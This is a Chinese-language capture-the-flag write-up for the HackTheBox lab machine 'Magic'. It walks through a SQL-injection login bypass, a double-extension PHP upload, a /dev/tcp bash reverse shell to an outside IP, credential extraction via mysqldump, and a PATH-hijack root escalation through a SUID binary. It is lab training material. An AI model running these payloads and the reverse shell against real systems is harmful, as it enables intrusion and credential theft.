Hackthebox - Magic - 10.10.10.185 - Writeup

信息收集

运行常规的端口扫描查看靶机运行了什么服务,一般情况下 HTB 的题目都不会用到太高的端口,因此只扫前 10000 就够了

nmap -sV -v -p 1-10000 10.10.10.185

可以看到是有一个 SSH 以及一个 Web 服务

Web

SQL 注入漏洞(万能密码)

打开首页可以看到是一个类似图库的程序

关注到左下角提示登陆后可以上传图片,那么会不会有上传文件漏洞呢?

首先我们随便使用 admin / admin 尝试登陆系统

有明确的提示说「用户名或密码错误」,接着我们使用 admin' / admin 尝试登陆系统

这次并没有了上次提示的「用户名或密码错误」,因此这里由于我们输入的单引号造成了系统的异常,因此可能存在 SQL 注入漏洞

尝试使用万能密码登陆系统,用户名为:admin'or'1'='1 ,密码随意填写

成功登陆系统!

任意文件上传漏洞

首先打开 Burpsuite 抓包,先随便上传一张正常的图片看看会有什么效果,这里我把我的红色头像上传了上去。

根据网页的回显可以知道图片已经上传成功

看到首页我的图片也在上面了,查看网页源代码就可以知道图片的路径

http://10.10.10.185/images/uploads/avatar.png

接下来尝试修改文件后缀,看看有没有做什么限制

当修改文件名为 avatar.php 时会拒绝上传,提示只有 JPG / JPEG / PNG 文件可以上传,初步确定系统判断了文件后缀。

将文件名后缀修改回 png ,内容修改为 PHP 代码尝试上传

也提示失败了,但是和之前后缀名不在白名单的错误提示不同,这次提示我们

What are you trying to do there?

那么估计就是既判断了文件名后缀又判断了该文件是否是一张图片

那么尝试上传文件名 111.php.png,图片头保留,但是后面的内容修改成 PHP 代码

上传成功,使用浏览器打开看一看

发现后面 PHP 代码的部分不见了,难道是当成 PHP 文件来运行了?

(这里需要注意,服务器会定期删掉你上传的文件,因此如果打开 404 了就再点一次上传文件吧)

运行 id 命令,发现确实运行了,那么反弹 shell 就到手了

Shell - www-data

使用 webshell 运行以下命令得到一个反弹 shell

bash -i >& /dev/tcp/10.10.14.8/23333 0>&1 &

可以看到当前用户是 www-data,先弄一下 tty

python3 -c 'import pty; pty.spawn("/bin/bash")'

往上面几个目录翻一翻,可以看到数据库的链接文件 /var/www/Magic/db.php5 ,从中我们可以知道 MySQL 的用户名和密码

    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

这里我们得到了一个用户名和密码

用户密码
theseusiamkingtheseus

通过查看 /etc/passwd 可以知道该用户存在,我们需要的 user.txt 应该就在其中

尝试登陆 SSH 直接就失败,根本就没提示输入密码,因此判断该用户设置了只接受证书登陆

尝试从 www-data 通过 su 使用密码切换过去,密码错误!我们还需要找到 theseus 真正的密码。

这里我们就可以想到,之前我们在弄 Web 的时候里面有登陆功能,我们只是使用万能密码绕过了登陆,那么用户的密码应该就在数据库里面吧

系统没有 mysql 但是有 mysqldump ,直接将数据库导出来看就知道了

$ mysqldump -u theseus -p Magic

数据库中的密码:

admin - Th3s3usW4sK1ng

尝试使用该密码切换到 theseus 用户

成功切换到 theseus 用户

Shell - theseus

基操 LinEnum.sh 走一波

[-] SUID files:
...
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo.
...

看到这个 /bin/sysinfo 就很可疑,一般系统都没这个文件,而且 +s 了,我们可以以 root 用户运行该文件,下面就来分析一下这个文件

Binary - sysinfo

遇事不决,直接上 IDA

可以看到这个二进制文件会依次运行

lshw -short
fdisk -l
cat /proc/cpuinfo
free -h

很重要的是,他这里都没有指定对应这些文件的绝对路径,因此系统是根据 $PATH 这个环境变量来找到对应文件的

该系统默认的 $PATH 环境变量如下:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

而我们可以通过自定义 $PATH 的方式,让 /bin/sysinfo 去执行我们可以控制的文件

创建 /tmp/lshw 内容为

/usr/bin/id

并通过 chmod +x /tmp/lshw 赋予可执行权限

然后运行 PATH=/tmp /bin/sysinfo ,就能够发现我们可以以 root 权限执行任意命令了

那么到此,root.txt 很容易就能拿到了,只需要将 /tmp/lshw 文件的内容改成以下内容即可

/bin/cat /root/root.txt

番外 - 为什么 111.php.png 会被当作 PHP 文件运行

这台机器使用 Apache 作为 Web 服务器,一般来说都是用 .htaccess 来控制 PHP 解析器的

查看网站根目录的 .htaccess 文件

$ cat /var/www/Magic/.htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all
</Files>

.+\.ph(p([3457s]|\-s)?|t|tml) 这个正则写得非常有问题,估计是故意留给我们用的

简单来说只要文件名包含 php 都会用 php 解析器运行,这就解释了为什么 .php.png 后缀的文件也会被当作 PHP 文件运行